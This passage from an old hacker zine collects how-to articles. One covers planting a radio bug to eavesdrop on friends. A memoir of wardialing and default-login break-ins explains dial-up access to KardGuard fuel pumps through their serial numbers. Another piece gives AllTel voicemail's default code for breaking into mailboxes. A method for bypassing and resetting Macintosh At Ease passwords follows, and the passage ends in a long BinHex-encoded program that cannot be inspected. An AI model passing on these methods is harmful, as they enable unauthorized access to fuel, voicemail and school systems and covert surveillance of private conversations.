family secrets or maybe even find out what lame presents those relatives
|
||
have brought you and save you from the disappointed face they will see
|
||
when you open it.
|
||
|
||
Okay put the bug either in the pot the tree is standing in or
|
||
fasten it to a branch relatively close to the bottom of the tree. We
|
||
place it at the bottom of the tree because the antenna needs to be
|
||
extended if we want really cool range. Okay put the bug in its position
|
||
and then unravel the wire all over the tree.
|
||
|
||
2. TV listening. Okay if you are out in the backyard whether it
|
||
because you want to, or there is some chore that needs to be done. You
|
||
can listen to a favorite TV show, or a basketball game or such. I know
|
||
your saying why not listen to the radio, well you now have a choice of
|
||
listening to a radio station or one of the 10000000 TV channels your
|
||
state offers you.
|
||
|
||
Set the bug up about 3-5m away from the TV, then adjust the TV
|
||
volume so that it is just right to hear on your radio.
|
||
|
||
3. Bug-a-friend. Okay you can bug your friend to see what he/she
|
||
is up to. Okay you will need to know where your friend goes and then
|
||
previously go there and set up the bug and your listening point. Make
|
||
sure that you set up a place where conversation happens, it is very
|
||
boring listening to insects and such.
|
||
|
||
Conceal the bug anywhere within a 3-5m radius of where your
|
||
friend talks and stuff. Now conceal yourself and then sit back and
|
||
listen.
|
||
|
||
Now there are a few of the more "legally friendly" methods,
|
||
there are thousands more not-so-friendly and even malicious
|
||
methods <Oooooooo> that I will leave up to your imagination.
|
||
|
||
|
||
CONCLUSION
|
||
|
||
I hope the information contained can help you successfully build a bug,
|
||
and then good luck using it. If you have trouble just e-mail me. If you
|
||
can not get hold of some of the components, you can order them through
|
||
me. Also if you want a bug, but dont have the electronic skill to do it,
|
||
you can buy pre-built bugs through me.. just e-mail me. may the force be
|
||
with you
|
||
|
||
Obi-1.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
My short time as a hacker.
|
||
|
||
by Kwoody
|
||
|
||
I live in a small town in northern British Columbia where the city
|
||
owns the phone company. All of BC is serviced by BCTel, except here in
|
||
Prince Rupert. The phone company used, up until 1991, mechanical
|
||
switches, no lie! Tech dating back to the 50's sometime. I know this
|
||
because I know some of the workers of CityTel. (The name of the phone
|
||
company). Because of this they were not able to offer all the goodies
|
||
like Caller ID, Call Forward etc...and it was easy to hack then, not
|
||
the phone company, but all the other systems in this small town of
|
||
16000+ people.
|
||
|
||
I got into hacking sort of accidently. I have had a computer and modem
|
||
of one kind or other since about 1983. I moved here after high school
|
||
in 1986 and found a good paying job I have worked at for the last 8
|
||
years. One night night in 1990 I was sitting around with my roommate
|
||
having a few beers and decided to call a buddy of ours to come over
|
||
but I dialed the number wrong and got a computer tone. Cool I
|
||
thought... I knew the numbers of the 2 local BBS's and that wasnt one
|
||
of them.
|
||
|
||
I fired up the computer and called it again. I got the prompt:
|
||
Xenix 386 Login:.
|
||
|
||
I had some knowledge of other OS's and knew this was some kind of Unix
|
||
box. A friend of my roomie was going to university (UBC) and he
|
||
happened to phone that night. I chatted with him for a bit and told
|
||
him what I had found. He told me to try sysadm or root. I got in with
|
||
sysadm, no password!
|
||
|
||
I found that I had complete control of the system and it belonged to
|
||
the local school board. I bought a book on Unix and learned as much as
|
||
I could about the system and Unix in general. I guess being a rookie
|
||
(read lamer?) and not knowing shit about how to cover my tracks they
|
||
discovered the system had been hacked and shut down the dial-in. They
|
||
went back online a few weeks later and left sysadm wide open no
|
||
password again. I could not believe it! Even after being hacked they
|
||
still left their system open like that.
|
||
|
||
By now I was hooked and I wanted to see if there were any other
|
||
systems in town. I could program a little in Pascal and basic (lame)
|
||
and tried to write a dialer of some kind. No go...so instead I figured
|
||
out the script language of Q-modem and wrote a 40 line script that
|
||
worked. It dialed all numbers sequentially but I did not worry too
|
||
much about being caught since the switch they used was so ancient
|
||
because they didnt have caller ID or anything like that yet.
|
||
|
||
I did not know at this time of the hacker community and some of the
|
||
programs available that would do this already. And even if I did I
|
||
wouldnt have known where to call and get them. At any rate I had two
|
||
computers an XT and a 386 both with modems and two phone lines, one I
|
||
used as my normal voice line and one for data. I setup the dialer on
|
||
both and away I went. By the time I had finished scanning both the
|
||
prefixes, 624 and 627, I found about 30 computers. Of those I was able
|
||
to get into about 10. All of them used defaults and all except the one
|
||
below were Unix boxes.
|
||
|
||
Although I did find one number that connected at 1200 I think it
|
||
belonged to the phone company. After I was connected nothing would
|
||
happen. I tried for a while to get a prompt of some kind then suddenly
|
||
a line of text appeared that listed two phone numbers and some other
|
||
stuff that I cant remember. So I just left it alone for a while to see
|
||
what came up. It soon became clear that the numbers in one column were
|
||
always one of 4 numbers. RCMP, Fire Dept, Battered Womens Shelter and
|
||
a second RCMP detachment. It looked like it recorded all calls coming
|
||
into those 4 places.
|
||
|
||
One hack I did was on a system that dispensed fuel. It was called a
|
||
KardGuard 3000C. I knew of two places in town that had these systems.
|
||
One was where I worked and the other was our competitor. And since I
|
||
knew how it worked it was easy to get in. I saw their volume of fuel
|
||
dispensed and such and could have done really nasty things like erase
|
||
their transaction buffer or get free fuel from them. But I didnt since
|
||
I did not see the point in hurting them or their system even if they
|
||
were our competitor.
|
||
|
||
For those of you who might find such a system I'll give a brief run
|
||
down on it. The hardware is limited to 300 bps 7E1 and consists of a
|
||
few things.
|
||
|
||
You can tell the system as it announces it when you connect:
|
||
|
||
KardGuard 3000C Motor Fuel Dispensing System.
|
||
PASSWORD:
|
||
|
||
The system uses punch coded cards read by a card-reader. You have a 4
|
||
digit security code that you need to activate the pump to dispense
|
||
fuel. Everything is kept track of by a computer that reads the amount
|
||
of fuel pumped, date, card number and a few other things depending on
|
||
how the card is coded. Like odometer reading or car number.
|
||
|
||
Now to get into this system via dial-in all you have to know is the
|
||
Serial Number of the system. All of these type systems use the serial
|
||
number as the default password to access it via dial-up. And its easy
|
||
to get the serial number. If you know the location of the card-reader
|
||
go and look on the side of it. Generally the actual card reader is
|
||
housed in a metal box. On the side of the card reader itself near the
|
||
back is a small sticker and the serial number will be written on the
|
||
sticker. That was how I did it. I just went to their card reader and
|
||
took the serial number off it and got in.
|
||
|
||
Once in you can do any number of things. Shut off the pumps or
|
||
manually activate them without a card and get free fuel, see how much
|
||
of any product was dispensed. Products range from 0-15. 0 being
|
||
regular gas, 1 regular unleaded etc. It is fairly limited of what you
|
||
can do but you can do some nasty stuff to the company who owns it if
|
||
you know how. A note to this all commands must be UPPERCASE. And all
|
||
commands are one letter. Like E is for looking up the 4 digit code for
|
||
individual cards. I dont remember all of them as we upgraded to the
|
||
latest version of the KardGuard which supports up to 14.4k and is a
|
||
faster system.
|
||
|
||
After about 3 months of this sort of stuff I was at work one Saturday
|
||
and got a phone call from a Constable Burke of the RCMP Special
|
||
Investigation Unit.
|
||
|
||
He informed me that he knew about my hacking and would like to take a
|
||
look at my computers. I told him that I didnt know what he was talking
|
||
about, he just said we could do this the hard way and he could get a
|
||
warrant to search the place. He wanted to meet me at my place in 10
|
||
minutes. I said ok. I was shitting bricks by this time. I phoned my
|
||
roomie and told him to get all printouts and disks out of the house
|
||
and take them away...anywhere. I took off home and got there to find
|
||
my roomie gone with all printouts and disks. I fired up the computers
|
||
and formatted both HD's. Formatting a hard drive had never taken so
|
||
long before!!
|
||
|
||
I waited for like an hour...no sign of the cops. My roomie came back
|
||
and said where are the cops? I dont know I told him. I waited some
|
||
more still no sign of them. I got a call about 3 hours later from a
|
||
friend of my roomie and he asked if Constable Burke had showed up. I
|
||
asked how he knew about that and all he did was laugh his ass off! Now
|
||
I was thinking joke...bad joke...and it was. I managed to find out
|
||
that this "friend" had gotten someone to pose as a police officer and
|
||
call me to see my computers regarding hacking. Well the guy he got to
|
||
pose as a cop did a good job at fooling me. I guess I was just over
|
||
paranoid by this time. Plus I was really pissed as I lost a lot of
|
||
info that I had acquired over the previous months when I formatted my
|
||
hard drives.
|
||
|
||
I guess my roommate had been telling a few people about what I was
|
||
doing. I was more than a little pissed off at him as I had not told a
|
||
soul of what I was doing since I knew it was illegal as hell. I got my
|
||
disks back and burned the printouts and laid off the hacking for a few
|
||
weeks. I started up again and was a tad more careful. I didnt keep any
|
||
printouts and kept the info on disk to a minimum.
|
||
|
||
Then about a month later my roommate, who worked for our landlord,
|
||
came home one day and said that our landlord had been approached by
|
||
some RCMP officer regarding me and my computers and what I might be
|
||
doing with them. I said is this another joke? No he said, go talk to
|
||
him yourself. I did but he wouldnt tell me much except that something
|
||
was definitely going on regarding me, my phones and my computers. And
|
||
the RCMP were involved.
|
||
|
||
After asking around I found out that quite a few people knew what I
|
||
had been up too. All they knew is that I was some guy who had been
|
||
cracking systems in town. But word had spread and I still dont know
|
||
how the cops found out or how much they knew.
|
||
|
||
But after talking to my landlord I quit right there and then. I went
|
||
home formatted the drives again, all floppies and got rid of
|
||
everything. I had hacked my way through everything in town that I
|
||
could in about 6 months. Also by this time CityTel had upgraded their
|
||
switch to some of the latest tech and had Caller-ID installed along
|
||
with all the other goodies you can get these days. It was definitely
|
||
time to quit.
|
||
|
||
Not long after I started a BBS that I still run to this day. I figured
|
||
that was a way to kill the hacking urge and be legit. I dont live with
|
||
that roommate anymore. I'm married now and still think about it now
|
||
and again but have too much to lose if I do and get caught.
|
||
|
||
On another note about 3 months ago I was at work and dialed a wrong
|
||
number. As fate would have it I got a blast of modem tone in my ear.
|
||
My old hacker curiosity came alive and I made note of the number. We
|
||
have a small lan at work that has a modem attached and when I had a
|
||
free moment I dialed the number up. I got the banner:
|
||
|
||
city telephones. No unauthorized use.
|
||
|
||
xxxxxxx <----a bunch of numbers
|
||
username:
|
||
|
||
I hung up right there but it was interesting to see that I had found
|
||
CityTel's switch or something of that nature.
|
||
|
||
To this day I dont know if there were any other hackers in this small
|
||
city where I live. As far as I know I was the only one that did any of
|
||
this sort of thing. It was fun but near the end I could feel the noose
|
||
around my neck. And I quit while the quitting was good.
|
||
|
||
Today I help admin our small lan at work with 2 servers and 8
|
||
workstations and the Unix I learned hacking helped me when my boss
|
||
first started to get serious about computerizing the business. Since
|
||
then I have been able to help setup and maintain the systems we have
|
||
today.
|
||
|
||
I'll give the specs on our new KardGuard if anyone is interested as I
|
||
know they come from the States and there must be more than a few out
|
||
there.
|
||
|
||
kwoody
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
USING ALLTEL VMBs
|
||
|
||
By Leper Messiah
|
||
Ok. This is everything you need to know in hacking AllTel Mobile's
|
||
Voice Mail. The default password on all their boxes is 9999.
|
||
Here are the docs, word for word. Enjoy!
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Features
|
||
-=Basic=-
|
||
Accessing your mailbox
|
||
Changing your security code
|
||
Recording your name
|
||
Recording a personal greeting
|
||
Playing a message
|
||
Recovering deleted messages
|
||
Playback mode options
|
||
|
||
-=Enhanced=-
|
||
All of the Basic Features plus...
|
||
Setting up your greeting schedule
|
||
Replying to a message
|
||
Redirecting a message
|
||
Recording and sending a message
|
||
Creating a broadcast list
|
||
Personal greeting schedule
|
||
|
||
At a glance
|
||
|
||
VOICE MAIL SET UP Press
|
||
|
||
To change your security code 8 2 3
|
||
To record your name response 2 3 3
|
||
To record your personal greeting 2 2 3
|
||
To edit a greeting in your schedule 2 2 7
|
||
To activate your greeting schedule 2 2 8
|
||
To change your playback mode 8 8 3
|
||
|
||
SENDING AND RECEIVING MESSAGES
|
||
|
||
To play a message 1
|
||
To save and play the next message 2
|
||
To reply to a message 3
|
||
To redirect a message 7
|
||
To create and send a message 3
|
||
|
||
Accessing your Voice Mail
|
||
|
||
1. Access your Voice Mail.
|
||
From a cellular phone press
|
||
# 9 9 Send.
|
||
From a landline phone dial your
|
||
cellular phone number, which will
|
||
automatically transfer to your voice
|
||
mail and press # when greeting begins.
|
||
|
||
2. Enter your security code.
|
||
|
||
Creating/Changing your security code
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 8 for Personal Options.
|
||
3. Press 2 3 to change your security code.
|
||
* Note: Your security code can contain 1 to 7 digits.
|
||
|
||
Recording your name
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 2 for your Greeting Menu.
|
||
3. Press 3 3 to record your name.
|
||
4. Record your name, finish by pressing #.
|
||
Options
|
||
Press 3 1 to play your name.
|
||
Press 3 3 to erase and re-record your name.
|
||
|
||
Recording a personal greeting
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 2 for Greeting Menu.
|
||
3. Press 2 1 to play your greeting.
|
||
4. Press 2 3 to record your greeting,
|
||
record your greeting, finish by pressing #.
|
||
|
||
Playing a message
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 1 to play your messages.
|
||
3. Message will play.
|
||
Options
|
||
Press 1 to keep this message
|
||
as new and play the next.
|
||
Press 2 to save and play the
|
||
next message.
|
||
Press 3 to reply to a message.
|
||
Press 4 4 to replay a message.
|
||
Press 5 to erase a message.
|
||
Press 7 to redirect the message.
|
||
|
||
Press 8 8 3 from the main
|
||
menu to choose a playback mode.*
|
||
Continue to press 8 3 until the
|
||
desired playback mode is selected.
|
||
|
||
* Note: The system has three playback modes:
|
||
normal, automatic, and simplified.
|
||
|
||
Recovering deleted messages
|
||
|
||
To recover a message that has been deleted: **
|
||
Press * 1 to go to the main menu,
|
||
Press * 4 to recover all deleted messages.
|
||
|
||
** Note: Deleted messages can only be recovered
|
||
before you exit the mailbox.
|
||
|
||
Replying to a message
|
||
From the Play Menu:
|
||
|
||
1. Press 3 during or after a message.
|
||
2. Record your reply finish by pressing #.
|
||
3. Press 3 to continue recording a voice message.
|
||
Press 5 to erase a message.
|
||
Press 7 to select a special delivery option.
|
||
4. Press 9 to address the message.
|
||
If sent from a subscriber's mailbox,
|
||
the reply with be automatic. If not, enter
|
||
the mailbox number.
|
||
|
||
Redirecting a message
|
||
From the Play Menu:
|
||
|
||
1. Press 7 during or after a message.
|
||
2. Press 3 to continue recording a
|
||
voice message.
|
||
Press 5 to erase a voice comment.
|
||
Press 7 to select a special delivery
|
||
option.
|
||
Press 8 to play the original message.
|
||
3. Press 9 to address the redirected message.
|
||
Enter:
|
||
a. mailbox number
|
||
b. broadcast list number.
|
||
|
||
Recording and sending a message
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 3 to record a message.
|
||
3. Record your message finish by
|
||
pressing #.
|
||
Press 3 to continue recording a
|
||
voice message.
|
||
Press 4 4 to review the
|
||
recorded message.
|
||
Press 5 to erase a message.
|
||
Press 7 to select a special
|
||
delivery option.
|
||
Press 1 to mark a message urgent.
|
||
Press 2 to mark a message confidential.
|
||
Press 3 to select notification of non-delivery.
|
||
Press 4 for future delivery.
|
||
Press 5 to delete special delivery tags.
|
||
4. Press 9 to address a message.
|
||
Enter:
|
||
mailbox number
|
||
broadcast list
|
||
0 + last name - 0 + first name
|
||
|
||
Creating or editing a broadcast list
|
||
|
||
1. Access your Voice Mail.
|
||
2. Press 6 to access your broadcast list.
|
||
3. Press 3 to create or edit a broadcast list.
|
||
4. Enter a one- or two-digit broadcast
|
||
list number. If new list, select any one-
|
||
or two- digit number. If editing, enter
|
||
the one- or two- digit number assigned.
|
||
5. Enter all of the destinations.
|
||
Press # after each destination entry.
|
||
(destinations can be mailbox
|
||
number or broadcast list numbers.)
|
||
6. Press 7 3 to record a name for
|
||
your broadcast list.
|
||
7. Press # when finished.
|
||
|
||
Setting up your greeting schedule.
|
||
|
||
1. Press 2 from main menu.
|
||
2. Press 2 6 to select your active greeting.
|
||
3. Enter the greeting number you want active.
|
||
4. Press 2 7 to edit a greeting.
|
||
5. Enter the greeting number to be edited.
|
||
Press 1 to play the current greeting.
|
||
Press 3 to record a greeting.
|
||
Press 5 to erase the greeting.
|
||
Press 7 to change the time
|
||
interval for this greeting.
|
||
Press 8 to review the time interval
|
||
for greeting.
|
||
6. Press 2 8 to activate/deactivate
|
||
your greeting schedule.
|
||
|
||
Message waiting notification
|
||
|
||
1. Press 8 for Personal Options menu.
|
||
2. Press 6 for Notification Options.
|
||
3. Press 1 to play notification telephone number.
|
||
Options
|
||
Press 6 to enable/disable
|
||
message notification.
|
||
|
||
AT ANY TIME DURING A MESSAGE PRESS
|
||
|
||
To rewind by 6 seconds 4
|
||
To rewind to the beginning of a message 4 4
|
||
To fast forward by 6 seconds 6
|
||
To fast forward to the end 6 6
|
||
of the message
|
||
To replay the date and time stamp 8 8
|
||
To stop and function #
|
||
To return to the main menu * 1
|
||
-----------------------------------------------------------------------------
|
||
|
||
Good luck hacking.
|
||
-- Leper Messiah
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hacking At Ease for the Macintosh.................. By: Ace
|
||
|
||
Introduction:
|
||
|
||
Some educational institutions and businesses use At Ease to
|
||
discourage the pirating of programs and access to sensitive files, and
|
||
generally screwing up any fun you would have! Wouldn't it be nice to
|
||
know how to be rid of it??
|
||
|
||
How to:
|
||
Well, this will tell you how to remove the password for At Ease
|
||
so you can gain access to the Finder, and also let you change the
|
||
password to one of your chosing, really screwing some one up.
|
||
|
||
First off, the computer you will need a copy of Microsoft Word
|
||
5.1 or 6.0 (Norton Utilities Disk Editor will also work, and I'm
|
||
trying my best to find other programs that will allow you to do this).
|
||
Launch Microsoft Word and go to the "File" menu, and select "Open".
|
||
Now change the "File Type" to "All Files". Navigate to the Preferences
|
||
folder and open At Ease Preferences. It should look like a giant mess.
|
||
Somewhere in there is the password. It doesn't really matter where.
|
||
Select all of the text with Command-A and press the delete key, and
|
||
save the now empty file. Restart the computer. Now you can select "Go
|
||
to finder" from At Ease's menu.
|
||
|
||
Other Programs:
|
||
|
||
You can also use the following program called DisEase. There is
|
||
also a HyperCard stack that will bypass At Ease. I have used them both,
|
||
although I feel that using the above method is better.
|
||
|
||
___
|
||
/ _ \
|
||
/ / \ \
|
||
/ /___\ \ce
|
||
/ _______ \
|
||
/ / \ \
|
||
|
||
|
||
(This file must be converted with BinHex 4.0)
|
||
|
||
:#d4TFd9KFf8ZFfPd!&0*9%46593K!3!!!#iE!!!!!"Dd8dP8)3!"!!!Z'h*-BA8
|
||
#r`!!!"Err`d!"d4TFd9KFf8!!kB8!0phS!!4QKS!!!#!!!!!!!$RQdl"G!!!!!!
|
||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rrrrrd&38%a&390&)3#SX5K#U,)ak!!!Ah8
|
||
!!!!!!!!YP3!!!!"j!`!!!!!!!!!!E$d1!&h(r2bZe8l@f@95I#BhbSpfRTQlBe[
|
||
GZRV*IQ9bSprES-Z&df[JCqmPT`0qRTYYSl9`F1ZHk'ffA-rG'BYZdmh@@Mc22B!
|
||
l$RR#(H@AF$pG#19#YJrZK,aL9`cbK5mm9V&0&mVGP(YHjbP3A8F[Z9m'0cbI,(Q
|
||
Jj1#41AcbN!$F3JD3!"')6q"h8PH-5Bba$`mcGJrH[PeSiT&&LDFRr84p'`Y1"`T
|
||
H-XZcQpSAV@Z[edU,Si45[DkYBqA5Q[!%i(X6Pji[IrK2h%jY*r0,JZVrURhm)I@
|
||
qG&NM4TfhhhBBFab8MT2Mj1"e831I@rZ*c4c'@MUhEVe8CEXkHc@(bj86S%Hrf3*
|
||
rjKa@cE)V9cXCUl&Nh[Lqp1D+fXC%G*kcE'qcNdVel4TMFPE#fE3J-Ijj6&9JDM'
|
||
ImQ&U!&1I5eGcj-m4HZ9cqB%2e6UCb[XU1cpPE`2c,BXHU'rTB!`-Kl3@PM0[%`X
|
||
i)kK8Cf`HZ$K$U#UFi95,-p6U2pELR&R)H$f%HJce@EFHAXM5KdU+@3ja*E6HQiR
|
||
Pam'bE9dMP!6$-HY3Vk%"imJ6M6Q%e9Y3&k!khCjU(YpEq9cfTV9lA'f@YL5hYA4
|
||
`E8Vb#j[(pjANpqSPqCA2qDhL6rG'#QXV1bYA-jC66+jTr#hV8+#B69rDYj!!pGj
|
||
49$[q#0ImNI6Q"EAMZphH&[3qZA!HIqqZI-jhSq$k@'TGbmDYpAI@lh#Y3%TP"1H
|
||
FHBb02l'kcfE[6cJ1&#J!Ef"qdYjQEZKSHQ"G"pN@H+`#hS%[8CAN3(e@q9cZPk(
|
||
TdbAPL)*ZG)p3PbC4IaV[ahSrC68Z,'IGm-6(hlH65H02eA!p2V1L[ReECpZ'qN9
|
||
YEG[D`1iVl(#UQ4hZI5Yr(P"k'Qk`EPPBlMMNQ'Mcq*-P1GDKG0hlDXGheJ9l[c%
|
||
jfpY+-aacC`0Mhih1'pqERf!jkaPl,RQHpIh`,CP9rN"N!r#kHqI#(`m"j5'ipI%
|
||
YM2hqQN4MpHDX&BR0UqYb9L8f-rC`AG`k4(Lp(rSI(T1HAEZRVJ+6F-$i!I6ZF([
|
||
$k-9)*HVhIVeZ$[!1Y$TpmmEr'AQimVQ-!B3!DRpG,["BR4qp64AcaTpUC*Q4bNl
|
||
RV*2#qaKr[q'FGXj8VXi-Pq4E,FjB&)N#$ImF'[kBkhCX`Fk"!@HB9fGj0E*Jjk2
|
||
h1ZFAl0bpfaRM9FBk"$IZXJkPYMY1lml#@UZapaR5)G@5'8Ph`2Zc5[,6l4bPqh"
|
||
q8DdcC+hK#,,@l!ceh&U5MdNC$Xm!F4MDIURh-kQY,&!bcaNk2$29l!`I"S2HAHL
|
||
FVh`Zkd[hlUR,KDrEJ$M@qpRm&LBjB`f$32KGcZFfMSZ8"2[fe(B@6Up(G90k3pd
|
||
F9j&jQGFA3QPdahSA@ifmrLDPZm!85B8N[DZqTG0XEGf+U+,%j1l)hj),Cf5*h(%
|
||
6MA!@0a(-"-i@hCq3!+6'i1BE9L5fA!Zfm',Qm4SS*hV1NCSpm-RmLcPDHpH1@Q,
|
||
L*RlUCllCFeTBS,#&j6r%SQTMhCElILI4Q,0jlGV%jTUkk"qICR,$XT+mG(Y*AUq
|
||
HfM,K&kiiCPbr6(ZJq&1pN6SG161AjA,2c#d[L'CY#5#Pj,TFfPfLcc2T)HRp5jL
|
||
kl+Hcqk"*"m[re-S1E)Z3!,8$#abc[T)j6AZ$-e55rb'H"V`DiGAj$e%Q$(f)dZ!
|
||
-ViBVJ0I)T$2D[-cT)dqcR!BQ[8(FZIY1TpXVjQ@HET`MNZ0`[TFC&iDdjXcT&$D
|
||
TN[c$-r(1J@0QHM23mh2TJeCMqP(+#1`(mpP59%[Br[3KGf13!+6T5)L(A$C2%XZ
|
||
D2BeCB(lfm#aJ202+![1!4,[%Pi"b9#3$9i1m-B3YDI(D2@jU#*Bl1-[Gll#%Jl0
|
||
QZbc,rcG,hmR,,$F`UMiRVEh)-JrZrCTJHIl(rj8PI#6p*jlE2ClN0BRe2ZpjlI`
|
||
M,[0E1229dYhT3eSq'1D8j00NqLaa5Mm+[ckEDXimRck,DJ$GiiF,h*QAq-b2d$f
|
||
*Q@+ifmh1[DYD0f,$Ueh9dY(8XE9qBkR)Y*(8cl,C(GM!bl&[4jHBTc+I[bhR8pM
|
||
$Si[08mkpa6Pld)0Z)`ZR4E2hEXml[*!!4DGP*D50U,1c%Z`T-C-qa"8fV%2B1B#
|
||
'A2Ka5EQ'J`AD3+aE8YXPGRK48@hQ0&*[%Z29+aLp)F)3EKKpJ()*Q`T9"FX'f8R
|
||
R0#Rjk@4E2C4Fdp5bFGZ$3X@KNQahhmm&,h",hfrG![A"%5lj5N8"FLm)(YqiiTU
|
||
k"`LYYbd+V#2BqaYbd6Q2cYR'HbmcZ,%LZf(fVcNm*0AGGJQViBD+l-CVIqh5KpJ
|
||
mm(@'V9Yk1i$c-($8Aq-)9Gl9X""Ek*'E@(ifNaU3!,dmNrbdNIYZUX0@a[[6H*p
|
||
hiE!hm$k&pmrG$IeKE1L2)X%C1cl"lLA"M[fTUqil'I,I(5)B6$RN(3l[1)4M[H1
|
||
3!%YBIqZ3!(G`,MY%+1$ZJ-8&2#IXECI6$UF[f!-2UpM2dhKr+IelVFkaj[%[,f5
|
||
mqpR*1HV`@FUfcr)-AiqC,q0pQ%p64b"1cK$fiI4RLIZMLp[@0GF[j@G4QGG,XR(
|
||
Zp'fF4$8l,r+6U1rbNkJrGBC4(A91SIUKFhVHcZD'M@h1kpJ+bpZE'PZJm1YJlLH
|
||
PSq8j0kH[[D1JBNP$"mf[UhqJSk6mrXkQ$Tl01#AKQ6S8,Fp6ACaPY%8l3hLISQd
|
||
$A8TCC'qdI-Ce,NBKa`!lfCqqePSM'%cd6SPHUe6A&Pe#*d'CebZIBdrQ,aPrBL*
|
||
p*%SEeM142M,[laAR3jRAN6bRm4kF1KrLh2k4-bXZcTcNZrabL'afZ)H+HQf`)&T
|
||
3)6Ak$bfZNlqiZ(Khj3mkC+efS9b5mj8h1eMPH@GBfmEm@JR,`4BaU09@9e8H)qI
|
||
IA995[V*Q4B4frGiH(4ZmT@J&MEU@d+UMXf0dMR$Yea,VJkeXTGQB&CMpJlkkXi(
|
||
!LN42FH9pB,'RmPM&G[Qa,AUdR1hpiQ)pKIU*3iZrr[h'J&kVe8B,5UEhl&fBB2l
|
||
+6Z+2D8P2e@Aj3RQba0!0[*CBQE$@,[qq-aE$CUpYPjmZfqPNQ*aIb"`f[G'U+'3
|
||
j,4TQ(#CcTY%bC"Rem[60"RSi4kfld@VLL$+`!SdjQ2*M+JZeMmQBpHI2Cl*8dT)
|
||
EQ#q9V%L%%LbEFjQC-jrjmr6'V""abXRI[Y#4(eX[ZY-$mq@Ec221Kf2B*BjSDrU
|
||
GX49QQFPb+qE,Rpdb1cKIZJ!*VmQAX(2N3VIMS8dXQmdSfbi(f-b+lEkcc6DBc`4
|
||
kZG@i(1KD9HRfh,9XGQ[1Nh804ZNQ&QIA2TRGF%0i%lZ(4F-l&keBHLHlX9A#G&E
|
||
C*RBYQeReeka,@kVAhPYear-rIk6b"cL9IK(E[53fZiG`AYEc@bZ@j#pKdj[2pQa
|
||
!RMbAENPRHS1pdGi"*-T(N!!l1,[@#RTLk@UJ"Gac3cUh[EpQ$dHHe[ac#qGYf*p
|
||
ZAl#6&BirLFl1pbA'HrMH1TG[iR,[mpJqRqAEjeIBNhc'afHq`8r(-)20k6DDmjh
|
||
k&CE[c5YBl[RD6CJk2S@%ma@D1HNKdBB($3f@LqTHCY&j3qBPp1Vja"qk%`1YqFH
|
||
D-pr''6A9ck-H4[fL@q1NND2mL%pred9jbChq8lIq2U(Jp1ECRPY4IB0AahPeXZG
|
||
@D0'&pm2&a@,6rZ65PUD1TR9EQlSSHhYaAXV2+ri%fQ&,%GV4b4ek(k#kT0aHXAT
|
||
&ledF4q)iTcb0-Aq+F(Tr'bI$iY3Ufi,hm(k'YVE-9rQ')2%cNUq`IGK2F$kre3m
|
||
rhe"5RUj$'Mc(@QpLlfYa4M02SaV*2,0f6b"El(Tlee3Z@YUqY"N(JmdipklIk*l
|
||
BJH1KN[)epU,&#mYPeYXcVaERpP$ZMS,m*3j1lMMc)h9qU("%-2R%QNe0'cB4iL3
|
||
$1TNX+'Cjd1@6a#"DRRlL#iZr1ZL-VIkHRHeTm*QDYR@YjJ2VQVDZ@mm2(TR-cr2
|
||
arTbe2EIL$ip#33-Ee`j+Ua5fK03DE'D5IV[cDZ@r$$#YQ@fYh0XlI2HHN[*l&Uf
|
||
SJNipaKVUfQD059eYM9DYEjqHBkbSQaPlT5%hGN1GE&e2QIZYrSE"hLrfIT'MV9L
|
||
%hBr3HQl@UPp,'$2UXQ+cr``-XAf-p(i4'dTYE(CmpT'eb2Vc&9CMTR*)'h0R(Vm
|
||
iFpkGX9TbpjV0@FF5jK$1K3)dbaJf,(q*bI`k0Uf5@QMj-`U`19,+HZNlKH`f+EA
|
||
SqrrQ4hE+XUbq&iip[1bRV&`[!20h88Ya2XiqMrP2rphm6Nhk"i5jrc#I2mQJSR[
|
||
cM4@l0ZIEhIBZ6'US1QhD@UrP%jfBcH@6@CMU,1DlaGHk0f6TV*99GKjjG(eqp`Z
|
||
T4)aCL95LX[0VMkkrSCMhD#Uej!k@@[,B#p(Xe**BGQ8R1H+ehDpp!LJMh5rd24V
|
||
c[GKAl%XY1GUA@[,$4qYcpMfmhNqF9bEUAUqNBqBH[)mJ14j"[4G[MIRj1H)3fqI
|
||
@iPaaL$hReMm@Y83RpP62GHY+Yfi4Y9`SD[mh8FZp3p05SXlqT+Mcbphk@9&,Bfj
|
||
p305-SIC4cA*c6V)Xe26'dETh1BKm3Jqr)M9e,@VLqT!!1mrB,*`6apM6NSeYeB2
|
||
MGkPQXd*@+-ACN!!f0CJET4$Y[R)e+KYLj1#H8J$86rSF"`$5%b-,hqVa*kBr-ec
|
||
lCPUY[[A+QqCS2Zf[RTiHAXjlK%P[`UHh+p+[RfbcZRSCK%D,Uh2M)R2P)QSZAN%
|
||
,!kQd0&NC%4fm%p3Sk$[jXFa(-miEhh[MHaRRYHm-rM6cd@k`p%J9p!PMA(RFmAG
|
||
eCc01R$L"%K8pVq*pR0H$Jlr!Hr$%kB(6,jmHQ+TrJIIJL3(8!e3lU*h"9`HGFE`
|
||
c*dkm6"51!TSr[j,GFr6I2k2LQ@LZlYV4Y@1('"TcKeGe6I6(k0Qa@Y68[qfffmC
|
||
@V4,eIqPhG8hdrk+SU)Mk[%ErP5,('H[D)HUadI(aF9LSUd[8Bk0GA9fVGU!J99D
|
||
Y%U3[2[p0hPpj3(,kN!"a5'J@B#2XQUXMj-qlr(h15CEY$,R4Hc@"jcH-*bmkrY0
|
||
$kFAcbhe1$*`B1(lmf-6imCF(AXEM$TmiMZ'"P`FSi5MMMJr300i$aemq-A"8M#(
|
||
94(f8jJF'MJi-L2VSmH18D%G2[#aUc*mH'1LMH9krH[a5rmVmZhKZrf@h"Mm5M[U
|
||
m"Kr1'h`prTrQr41L4Vpm`(')$kr4[ichjiF22q1-RcJKkU-RALAGIJ(PH3fpi39
|
||
5'Li"*)K"mCH4hc!)pEd-rpXXrlm2PUfV46cZ5M'jFe`HAleU94HpmAX2J)q[S[F
|
||
1r0i"%*X+(ke#bB%ZNX8ZX30MH(CJ%0-##'5`AD!l0V(Pd%-F,r@"2iUGaAf`iQ$
|
||
